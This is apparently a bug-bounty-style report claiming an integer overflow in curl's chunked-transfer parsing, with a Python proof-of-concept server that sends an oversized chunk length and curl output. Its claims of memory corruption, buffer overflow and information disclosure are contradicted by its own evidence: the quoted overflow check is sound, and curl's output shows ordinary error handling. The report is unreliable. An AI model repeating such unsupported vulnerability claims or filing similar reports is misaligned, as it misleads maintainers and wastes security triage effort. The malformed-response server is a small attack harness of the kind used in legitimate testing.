Security Analysis Report: CURL Integer Overflow Vulnerability

How it was found

1. Vulnerability Overview Vulnerability Type: Integer Overflow in HTTP chunked encoding Location in Source:

lib/http_chunks.c (line 173)
lib/curlx/strparse.c (lines 185–186)

Impact: Integer overflow leads to memory corruption Can cause buffer overflow Results in Denial of Service (DoS) for curl Potential for information disclosure under controlled conditions Code Snippet Demonstrating the Issue

// http_chunks.c line 173
if(curlx_str_hex(&p, &ch->datasize, CURL_OFF_T_MAX)) {
    // Error handling
}
// strparse.c lines 185-186
if(num > ((max - n) / base))
    return STRE_OVERFLOW;
num = num * base + n;

Problem: The overflow check can be bypassed when max = CURL_OFF_T_MAX (0x7FFFFFFFFFFFFFFF). This allows num to exceed the maximum value without triggering the overflow protection, leading to memory corruption when curl processes chunked responses.

Test Setup Python test server simulating vulnerable behavior:

#!/usr/bin/env python3

import socket
import threading

def create_test_response():
    overflow_chunk_size = "7FFFFFFFFFFFFFFFF"
    
    html_content = "<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"
    
    response = (
        "HTTP/1.1 200 OK\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Type: text/html\r\n"
        "Connection: close\r\n"
        "\r\n"
        f"{overflow_chunk_size}\r\n"  
        "VULNERABILITY_PROOF_DATA\r\n"  
        f"{len(html_content):X}\r\n"  
        f"{html_content}\r\n"  
        "0\r\n"  
        "\r\n"
    )
    return response.encode()
def handle_client(client_socket, addr):
    print(f"[+] Connection from {addr}")
    try:
        request = client_socket.recv(1024)
        print(f"[+] Sending test response with overflow and HTML chunk...")
        response = create_test_response()
        client_socket.send(response)
        print(f"[+] Response sent!")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()
def start_test_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind(('127.0.0.1', 8080))
        server.listen(5)
        print("=" * 60)
        print("CURL INTEGER OVERFLOW TEST CONTINUATION ")
        print("=" * 60)
        print("Server running on port 8080")
        print("After sending overflow chunk, HTML chunk will follow")
        print("Run: curl  http://127.0.0.1:8080")
        print("=" * 60)
        
        while True:
            client_socket, addr = server.accept()
            client_thread = threading.Thread(target=handle_client, args=(client_socket, addr))
            client_thread.daemon = True
            client_thread.start()
    except KeyboardInterrupt:
        print("\n[+] Server stopped")
    finally:
        server.close()

if __name__ == "__main__":
    start_test_server()

curl http://127.0.0.1:8080

F1:F4796194

chrome F1:F4796193

overflow_chunk_size = "7FFFFFFFFFFFFFFFF"

└─$ curl http://127.0.0.1:8080
curl: (56) chunk hex-length longer than 16

overflow_chunk_size = "7FFFFFFFFFFFFFFF"

└─$ curl http://127.0.0.1:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining
└─$ 

Impact

Integer overflow leads to memory corruption Can cause buffer overflow Results in Denial of Service (DoS) for curl Potential for information disclosure under controlled conditions Code Snippet Demonstrating the Issue